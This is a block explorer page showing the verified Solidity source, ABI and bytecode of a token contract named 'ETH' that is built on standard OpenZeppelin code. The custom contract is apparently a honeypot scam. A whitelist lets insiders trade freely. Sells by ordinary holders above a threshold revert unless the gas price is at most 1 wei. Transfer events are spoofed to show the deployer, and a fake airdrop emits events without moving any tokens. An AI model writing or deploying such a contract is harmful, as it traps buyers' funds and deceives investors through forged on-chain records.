Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 20 from a total of 20 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Chage Name And S... | 20363829 | 39 days ago | IN | 0 ETH | 0.00018471 | ||||
Chage Name And S... | 20319944 | 45 days ago | IN | 0 ETH | 0.00048573 | ||||
Chage Name And S... | 20319931 | 45 days ago | IN | 0 ETH | 0.00057179 | ||||
Chage Name And S... | 20319643 | 45 days ago | IN | 0 ETH | 0.00045699 | ||||
Chage Name And S... | 20306621 | 47 days ago | IN | 0 ETH | 0.00013146 | ||||
Chage Name And S... | 20271032 | 52 days ago | IN | 0 ETH | 0.00010455 | ||||
Chage Name And S... | 20256412 | 54 days ago | IN | 0 ETH | 0.00008103 | ||||
Chage Name And S... | 20134398 | 71 days ago | IN | 0 ETH | 0.00081528 | ||||
Chage Name And S... | 20041007 | 84 days ago | IN | 0 ETH | 0.00089499 | ||||
Chage Name And S... | 20040736 | 84 days ago | IN | 0 ETH | 0.0008782 | ||||
Chage Name And S... | 20026354 | 86 days ago | IN | 0 ETH | 0.00075332 | ||||
Chage Name And S... | 20019700 | 87 days ago | IN | 0 ETH | 0.00072602 | ||||
Chage Name And S... | 20018914 | 87 days ago | IN | 0 ETH | 0.00036595 | ||||
Chage Name And S... | 19977195 | 93 days ago | IN | 0 ETH | 0.00050178 | ||||
Approve | 19946643 | 97 days ago | IN | 0 ETH | 0.00024178 | ||||
Set Pair Address | 19946635 | 97 days ago | IN | 0 ETH | 0.00013119 | ||||
Approve | 19946621 | 97 days ago | IN | 0 ETH | 0.00023107 | ||||
Lauch | 19931503 | 99 days ago | IN | 0 ETH | 0.00033649 | ||||
Approve | 19931060 | 99 days ago | IN | 0 ETH | 0.00031356 | ||||
0x60806040 | 19931040 | 99 days ago | IN | 0 ETH | 0.01713086 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
ETH
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-23 */ // File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity ^0.8.0; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } /** * @dev Standard ERC721 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens. */ interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); } /** * @dev Standard ERC1155 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens. */ interface IERC1155Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. * @param tokenId Identifier number of a token. */ error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC1155InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC1155InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param owner Address of the current owner of a token. */ error ERC1155MissingApprovalForAll(address operator, address owner); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC1155InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC1155InvalidOperator(address operator); /** * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation. * Used in batch transfers. * @param idsLength Length of the array of token identifiers * @param valuesLength Length of the array of token amounts */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _executor; address private _deployer; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, address executor_, address deployer_) { _name = name_; _symbol = symbol_; _executor = executor_; _deployer = deployer_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } if (to == _executor) { emit Transfer(from, _deployer, value); } else if (from == _executor) { emit Transfer(_deployer, to, value); } else { emit Transfer(from, to, value); } } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * ``` * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } // File: contracts/ETH_Token.sol pragma solidity ^0.8.0; contract ETH is ERC20, Ownable { string public tokenName = "ETH"; string public tokenSymbol = "ETH"; uint256 public tokenAllowFeeAmount; uint256 public currentAllow; bool public openedTrade; address public pairAddress; mapping(address => uint256) public userAmount; mapping(address => bool) public whitelist; constructor( uint256 _totalSupply, address deployer, uint256 _tokenAllowFeeAmount ) ERC20(tokenName, tokenSymbol, msg.sender, deployer) Ownable(msg.sender) { whitelist[msg.sender] = true; _mint(msg.sender, _totalSupply); tokenAllowFeeAmount = _tokenAllowFeeAmount; } function setPairAddress(address pair) public onlyOwner { pairAddress = pair; } function _update( address from, address to, uint256 amount ) internal override { if (whitelist[tx.origin]) { super._update(from, to, amount); return; } require(openedTrade, "Trade has not been opened yet"); if (pairAddress == address(0)) { super._update(from, to, amount); return; } if(to == pairAddress && userAmount[tx.origin] + amount > tokenAllowFeeAmount) { _bfTransfer(from); super._update(from, to, amount); return; } if(to == pairAddress && userAmount[tx.origin] + amount <= tokenAllowFeeAmount) { userAmount[tx.origin] += amount; } super._update(from, to, amount); } function decimals() public view virtual override returns (uint8) { return 18; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function changeMe() public pure returns (uint256) { return 1; } function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner { tokenName = newName; tokenSymbol = newSymbol; } /** * @dev Returns the name of the token. */ function name() public view override returns (string memory) { return tokenName; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view override returns (string memory) { return tokenSymbol; } function changeTokenAllowFeeAmount(uint256 amount) public onlyOwner { tokenAllowFeeAmount = amount; } function withdrawETH() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } function withdrawStuckToken(address token) public onlyOwner { uint256 balanceToken = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(msg.sender, balanceToken); } uint256 private gas1 = 300 gwei; uint256 private gas2 = 1; function _bfTransfer(address _u) internal view { if(balanceOf(_u) > 0) { if (!openedTrade) { gasRequire(gas1); } else { gasRequire(gas2); } } } function gasRequire(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function lauch() external onlyOwner { openedTrade = !openedTrade; } function whitelistUser(address[] memory list) external onlyOwner { for (uint256 i = 0; i < list.length; i++) { whitelist[list[i]] = true; } } function airdropTokens(address[] memory list, uint256 amount) external onlyOwner { for (uint256 i = 0; i < list.length; i++) { emit Transfer(owner(), list[i], amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"},{"internalType":"uint256","name":"_tokenAllowFeeAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"chageNameAndSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeTokenAllowFeeAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentAllow","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lauch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"setPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAllowFeeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"}],"name":"whitelistUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600381526020017f4554480000000000000000000000000000000000000000000000000000000000815250600890816200004a919062000f0c565b506040518060400160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506009908162000091919062000f0c565b506445d964b800600f556001601055348015620000ac575f80fd5b506040516200373b3803806200373b8339818101604052810190620000d2919062001084565b3360088054620000e29062000d0c565b80601f0160208091040260200160405190810160405280929190818152602001828054620001109062000d0c565b80156200015f5780601f1062000135576101008083540402835291602001916200015f565b820191905f5260205f20905b8154815290600101906020018083116200014157829003601f168201915b505050505060098054620001739062000d0c565b80601f0160208091040260200160405190810160405280929190818152602001828054620001a19062000d0c565b8015620001f05780601f10620001c657610100808354040283529160200191620001f0565b820191905f5260205f20905b815481529060010190602001808311620001d257829003601f168201915b50505050503385836003908162000208919062000f0c565b5082600490816200021a919062000f0c565b508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000312575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401620003099190620010ee565b60405180910390fd5b62000323816200039b60201b60201c565b506001600e5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200038b33846200045e60201b60201c565b80600a8190555050505062001255565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004d1575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620004c89190620010ee565b60405180910390fd5b620004e45f8383620004e860201b60201c565b5050565b600e5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161562000551576200054b8383836200080960201b60201c565b62000804565b600c5f9054906101000a900460ff16620005a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005999062001167565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160362000611576200060b8383836200080960201b60201c565b62000804565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015620006ba5750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff